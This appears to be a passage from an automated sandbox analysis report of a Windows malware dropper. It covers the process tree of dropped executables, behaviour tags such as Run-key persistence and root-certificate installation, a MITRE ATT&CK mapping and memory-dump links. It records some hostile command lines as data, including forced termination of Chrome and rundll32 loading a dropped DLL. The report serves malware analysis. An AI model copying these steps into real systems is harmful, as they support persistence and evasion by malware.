      - C:\Users\Admin\Documents\CfjhraIJjYgK5b4JI2RuRR_J.exe
        
        "C:\Users\Admin\Documents\CfjhraIJjYgK5b4JI2RuRR_J.exe" -q
        6⤵
        
        PID:2280
    - - C:\Users\Admin\Documents\IeDRRlElIChbZv_6RA7hHhQI.exe
        
        "C:\Users\Admin\Documents\IeDRRlElIChbZv_6RA7hHhQI.exe"
        5⤵
        
        PID:3044
    - - C:\Users\Admin\Documents\Jxkzeq_FJ8u1IniO4LoWFfa5.exe
        
        "C:\Users\Admin\Documents\Jxkzeq_FJ8u1IniO4LoWFfa5.exe"
        5⤵
        
        PID:3004
    - - C:\Users\Admin\Documents\fwUQ9MJVTGgdxZZHqHRPeKHQ.exe
        
        "C:\Users\Admin\Documents\fwUQ9MJVTGgdxZZHqHRPeKHQ.exe"
        5⤵
        
        PID:2988
    - - C:\Users\Admin\Documents\WIpWyS6pn_3qfIE_vitYep2F.exe
        
        "C:\Users\Admin\Documents\WIpWyS6pn_3qfIE_vitYep2F.exe"
        5⤵
        
        PID:1928
    - - C:\Users\Admin\Documents\ZFJ28c7SdDnUeaT2eoLm4Evt.exe
        
        "C:\Users\Admin\Documents\ZFJ28c7SdDnUeaT2eoLm4Evt.exe"
        5⤵
        
        PID:804
    - - C:\Users\Admin\Documents\NpSVr4vAERsRtYJMfcpP46oW.exe
        
        "C:\Users\Admin\Documents\NpSVr4vAERsRtYJMfcpP46oW.exe"
        5⤵
        
        PID:920
    - - C:\Users\Admin\Documents\IwVYKvXl1NTjw0AONNvyjb_I.exe
        
        "C:\Users\Admin\Documents\IwVYKvXl1NTjw0AONNvyjb_I.exe"
        5⤵
        
        PID:1196
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 21bcc8456d82.exe
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1848
  - - C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\21bcc8456d82.exe
      21bcc8456d82.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1352
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 5298ab674.exe
    3⤵
    - Loads dropped DLL
    PID:1780
  - - C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\5298ab674.exe
      5298ab674.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Modifies system certificate store
      Suspicious use of AdjustPrivilegeToken
      PID:1604
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        
        PID:2344
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 4a448bcddaa0b3.exe
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\4a448bcddaa0b3.exe
      4a448bcddaa0b3.exe
      4⤵
      Executes dropped EXE
      PID:1648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 0fd5c77ed90f39d5.exe
    3⤵
    - Loads dropped DLL
    PID:1692
  - - C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\0fd5c77ed90f39d5.exe
      0fd5c77ed90f39d5.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:784
    - - C:\Users\Admin\AppData\Roaming\1503622.exe
        
        "C:\Users\Admin\AppData\Roaming\1503622.exe"
        5⤵
        
        PID:2580
    - - C:\Users\Admin\AppData\Roaming\1597459.exe
        
        "C:\Users\Admin\AppData\Roaming\1597459.exe"
        5⤵
        
        PID:2896
    - - C:\Users\Admin\AppData\Roaming\1834205.exe
        
        "C:\Users\Admin\AppData\Roaming\1834205.exe"
        5⤵
        
        PID:1584
    - - C:\Users\Admin\AppData\Roaming\6522396.exe
        
        "C:\Users\Admin\AppData\Roaming\6522396.exe"
        5⤵
        
        PID:2588
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 8e14eeece3767.exe
    3⤵
    - Loads dropped DLL
    PID:860
  - - C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\8e14eeece3767.exe
      8e14eeece3767.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      PID:1156
    - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1852
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 28e2ddd2eed6.exe
    3⤵
    - Loads dropped DLL
    PID:1256
  - - C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\28e2ddd2eed6.exe
      28e2ddd2eed6.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1540
    - - C:\Users\Admin\AppData\Local\Temp\chrome2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
        5⤵
        Executes dropped EXE
        
        PID:2464
    - - C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        5⤵
        
        PID:2540
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c b28b347be25f8ab8.exe
    3⤵
    PID:1240
  - - C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\b28b347be25f8ab8.exe
      b28b347be25f8ab8.exe
      4⤵
      PID:2624
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 268b3127b936e0010.exe
    3⤵
    - Loads dropped DLL
    PID:1924
  - - C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\268b3127b936e0010.exe
      268b3127b936e0010.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks SCSI registry key(s)
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      PID:1904
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 4aa1e8b379159.exe
    3⤵
    - Loads dropped DLL
    PID:1804
  - - C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\4aa1e8b379159.exe
      4aa1e8b379159.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1856
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1856 -s 984
        5⤵
        Program crash
        
        PID:2396

C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\21bcc8456d82.exe
"C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\21bcc8456d82.exe" -a
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1484

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1848
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:976

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/784-183-0x000000001B070000-0x000000001B072000-memory.dmp

Download

memory/784-175-0x00000000003F0000-0x000000000040B000-memory.dmp

Download

memory/784-146-0x0000000001160000-0x0000000001161000-memory.dmp

Download

memory/784-179-0x0000000000410000-0x0000000000411000-memory.dmp

Download

memory/784-169-0x00000000003E0000-0x00000000003E1000-memory.dmp

Download

memory/1156-133-0x000007FEFB531000-0x000007FEFB533000-memory.dmp

Download

memory/1200-199-0x00000000039D0000-0x00000000039E6000-memory.dmp

Download

memory/1540-185-0x00000000008C0000-0x00000000008C1000-memory.dmp

Download

memory/1648-128-0x0000000000370000-0x0000000000371000-memory.dmp

Download

memory/1712-59-0x0000000075051000-0x0000000075053000-memory.dmp

Download

memory/1852-194-0x0000000004A70000-0x0000000004A71000-memory.dmp

Download

memory/1852-187-0x0000000000080000-0x0000000000081000-memory.dmp

Download

memory/1856-182-0x0000000003370000-0x0000000005C39000-memory.dmp

Download

memory/1856-184-0x0000000000400000-0x0000000002CC9000-memory.dmp

Download

memory/1904-189-0x0000000000250000-0x0000000000259000-memory.dmp

Download

memory/1904-190-0x0000000000400000-0x0000000002C6D000-memory.dmp

Download

memory/1920-87-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/1920-84-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/1920-90-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/1920-81-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/1920-86-0x000000006B280000-0x000000006B2A6000-memory.dmp

Download

memory/1920-83-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/1920-80-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/1920-82-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/1920-89-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/1920-85-0x000000006B280000-0x000000006B2A6000-memory.dmp

Download

memory/2464-192-0x000000013F810000-0x000000013F811000-memory.dmp

Download

memory/2464-233-0x0000000000950000-0x000000000095A000-memory.dmp

Download

memory/2580-216-0x00000000001C0000-0x00000000001F4000-memory.dmp

Download

memory/2580-236-0x0000000000160000-0x0000000000161000-memory.dmp

Download

memory/2580-200-0x0000000000150000-0x0000000000151000-memory.dmp

Download

memory/2580-196-0x0000000000170000-0x0000000000171000-memory.dmp

Download

memory/2680-248-0x0000000000410000-0x0000000000429000-memory.dmp

Download

memory/2680-208-0x0000000000BB0000-0x0000000000BB1000-memory.dmp

Download

memory/2692-209-0x0000000000240000-0x0000000000249000-memory.dmp

Download

memory/2708-210-0x00000000003C0000-0x00000000003F9000-memory.dmp

Download

memory/2896-246-0x00000000011A0000-0x00000000011A1000-memory.dmp

Download

memory/2940-222-0x00000000013C0000-0x00000000013C1000-memory.dmp

Download

memory/3044-234-0x0000000000C30000-0x0000000000C31000-memory.dmp

Download